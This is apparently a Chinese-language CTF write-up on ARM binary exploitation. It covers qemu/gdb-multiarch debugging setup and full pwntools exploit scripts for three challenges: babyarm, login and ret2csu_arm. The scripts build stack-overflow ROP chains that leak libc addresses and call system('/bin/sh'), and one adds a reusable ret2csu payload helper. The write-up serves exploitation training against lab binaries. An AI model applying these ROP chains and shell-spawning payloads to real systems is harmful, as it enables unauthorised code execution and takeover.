初探arm pwn

链接:https://pan.baidu.com/s/1PT6DLLCDyQuFxYT95fkMtQ
提取码:s1hv

调试

gdb-multiarch和qemu-user远程调试

start-g.sh

qemu-arm -g 1234 -L /usr/arm-linux-gnueabi/ ./a.out

attach.sh

sudo gdb-multiarch ./a.out -ex "target remote:1234"

python脚本里

io=process(["qemu-arm","-g", "1234","-L","/usr/arm-linux-gnueabi/","./elec_system2_patch"])#调试
io=process(["qemu-arm","-L","/usr/arm-linux-gnueabi/","./elec_system2_patch"])#不调试

gdb.attach(io,'target remote localhost:1234',exe=pwnfile,arch='arm')

2022安洵杯_babyarm

首先是一个换表的base64加密 http://web.chacuo.net/netbasex 直接网站解密一下

然后就是一个简单的栈溢出,先泄露libc ret2libc即可

from pwn import *
from LibcSearcher import *
context(os='linux',arch='arm')
pwnfile='./chall'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
if args['REMOTE']:
io = remote()
else:
# io = process(pwnfile)
io=process(["qemu-arm","-g", "1234","-L","/usr/arm-linux-gnueabi/","./chall_patch"])
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
db('target remote localhost:1234')
# db('b *0x0010C30')
padding=b'a'*0x2c
passwd=b's1mpl3Dec0d4r'
def overflow(payload):
sla(b'msg> ',passwd)
sla(b'res> ',padding+payload)
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x1050C
pop_r3_pc = 0x10464
pop_r4_r5_r6_r7 = 0x10cb0
mov_r0_r7 = 0x10ca0
'''
grxer@Ubuntu22 ~/s/d/2022安洵杯_babyarm> ROPgadget --binary ./chall --only pop
Gadgets information
============================================================
0x00010658 : pop {fp, pc}
0x00010464 : pop {r3, pc}
0x000105f0 : pop {r4, pc}
0x00010cb0 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x00010ca0 : mov r0, r7 ; blx r3 ; cmp r6, r4 ; bne #0x10c90 ; pop {r4, r5, r6, r7, r8, sb, sl, pc}
'''
overflow(p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(puts_got) + p32(0)*3 + p32(pop_r3_pc) + p32(puts_plt) + p32(mov_r0_r7) + p32(main_addr)*8)
ru(b'nt> ')
# libc_base = u32(io.recv()[:4])
libc_base =uu32(r(4))
p('libc_base',libc_base)
libc_base = libc_base - libc.symbols["puts"]
p('libc_base',libc_base)
system_addr = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b'/bin/sh'))
p('system_addr',system_addr)
p('bin',binsh)
overflow(p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(binsh) + p32(0)*3 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_r7) + p32(main_addr)*0x10)
io.interactive()

login

和上一个题几乎一模一样

from pwn import *
from LibcSearcher import *
context(os='linux',arch='arm')
pwnfile='./elec_system2_patch'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
if args['REMOTE']:
io = remote()
else:
# io = process(pwnfile)
# io=process(["qemu-arm","-g", "1234","-L","/usr/arm-linux-gnueabi/","./elec_system2_patch"])
io=process(["qemu-arm","-L","/usr/arm-linux-gnueabi/","./elec_system2_patch"])
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
# db('target remote localhost:1234')
padding=b'a'*0x108
sla(b'me: ',b'admin')
'''
Gadgets information
============================================================
0x000105c0 : pop {fp, pc}
0x000103f0 : pop {r3, pc}
0x00010558 : pop {r4, pc}
0x0001070c : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000106fc : mov r0, r7 ; blx r3 ; cmp r6, r4 ; bne #0x106ec ; pop {r4, r5, r6, r7, r8, sb, sl, pc}
'''
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr=0x10474
pop_r3_pc = 0x000103f0
pop_r4_r5_r6_r7 = 0x0001070c
mov_r0_r7 = 0x000106fc
paylaod=padding+p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(puts_got) + p32(0)*3 + p32(pop_r3_pc) + p32(puts_plt) + p32(mov_r0_r7) + p32(main_addr)*8
sla(b'ord: ',paylaod)
ru(b'ivity.\n')
libc_base =uu32(r(4))
p('libc_base',libc_base)
libc_base = libc_base - libc.symbols["puts"]
p('libc_base',libc_base)
system_addr = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b'/bin/sh'))
p('system_addr',system_addr)
p('bin',binsh)
sla(b'me: ',b'admin')
paylaod=padding+p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(binsh) + p32(0)*3 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_r7) + p32(main_addr)*0x10
sla(b'ord: ',paylaod)
io.interactive()

ret2csu_arm

基础栈溢出,但是要控制write函数的三个参数来泄露libc的gadget不好找,通用的模板就是__libc_csu_init

.text:000104E0
.text:000104E0 loc_104E0 ; CODE XREF: __libc_csu_init+50↓j
.text:000104E0 09 20 A0 E1 MOV R2, R9
.text:000104E4 08 10 A0 E1 MOV R1, R8
.text:000104E8 07 00 A0 E1 MOV R0, R7
.text:000104EC 04 30 95 E4 LDR R3, [R5],#4 ; r5 got表
.text:000104F0 01 40 84 E2 ADD R4, R4, #1
.text:000104F4 33 FF 2F E1 BLX R3
.text:000104F8 04 00 56 E1 CMP R6, R4
.text:000104FC F7 FF FF 1A BNE loc_104E0
.text:00010500 F0 87 BD E8 POP {R4-R10,PC}

所以我们可以封装个函数

def ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,call_func_got_R5,arg0_R7,arg1_R8,arg2_R9,ret_ad):
'''
pop_r4_r10_ad: csu里 POP {R4-R10,PC}地址
mov_r2_r9_ad: csu里MOV R2, R9地址
call_func_got_R5: 存有要执行函数地址的地址 一般为got
arg0_R7:参数1
arg1_R8:参数2
arg2_R9:参数3
ret_ad:执行过后返回的地址
'''
R4=1
R6=2
R10=0xdeadbeef
payload=padding+p32(pop_r4_r10_ad)+p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(mov_r2_r9_ad)
payload+=p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(ret_ad)
sl(payload)
from pwn import *
from LibcSearcher import *
context(os='linux',arch='arm')
pwnfile='./ret2libc_arm'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
if args['REMOTE']:
io = remote()
else:
# io = process(pwnfile)
io = process(["qemu-arm","-L","/usr/arm-linux-gnueabi/",pwnfile])
#io=process(["qemu-arm","-g", "1234","-L","/usr/arm-linux-gnueabi/","./ret2libc_arm"])
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
gdb.attach(io,'target remote localhost:1234',exe=pwnfile,arch='arm')
def ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,call_func_got_R5,arg0_R7,arg1_R8,arg2_R9,ret_ad):
'''
pop_r4_r10_ad: csu里 POP {R4-R10,PC}地址
mov_r2_r9_ad: csu里MOV R2, R9地址
call_func_got_R5: 存有要执行函数地址的地址 一般为got
arg0_R7:参数1
arg1_R8:参数2
arg2_R9:参数3
ret_ad:执行过后返回的地址
'''
R4=1
R6=2
R10=0xdeadbeef
payload=padding+p32(pop_r4_r10_ad)+p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(mov_r2_r9_ad)
payload+=p32(R4)+p32(call_func_got_R5)+p32(R6)+p32(arg0_R7)+p32(arg1_R8)+p32(arg2_R9)+p32(R10)+p32(ret_ad)
ru(b"put:")
sl(payload)
padding=12*b'a'
pop_r4_r10_ad=0x0010500
mov_r2_r9_ad=0x00104E0
write_got=elf.got['write']
read_got=elf.got['read']
main_ad=elf.symbols['main']
ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,write_got,1,write_got,0x10,main_ad)
ru(b'byebye')
write_ad=uu32(r(4))
base=write_ad-libc.symbols['write']
system_addr = base + libc.symbols["system"]
binsh = base + next(libc.search(b'/bin/sh'))
p('system',system_addr)
bss=elf.bss()+0x100
ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,read_got,0,bss,0x8,main_ad)
sl(p32(system_addr))
ret2csu(padding,pop_r4_r10_ad,mov_r2_r9_ad,bss,binsh,0,0,0xdeadbeff)
io.interactive()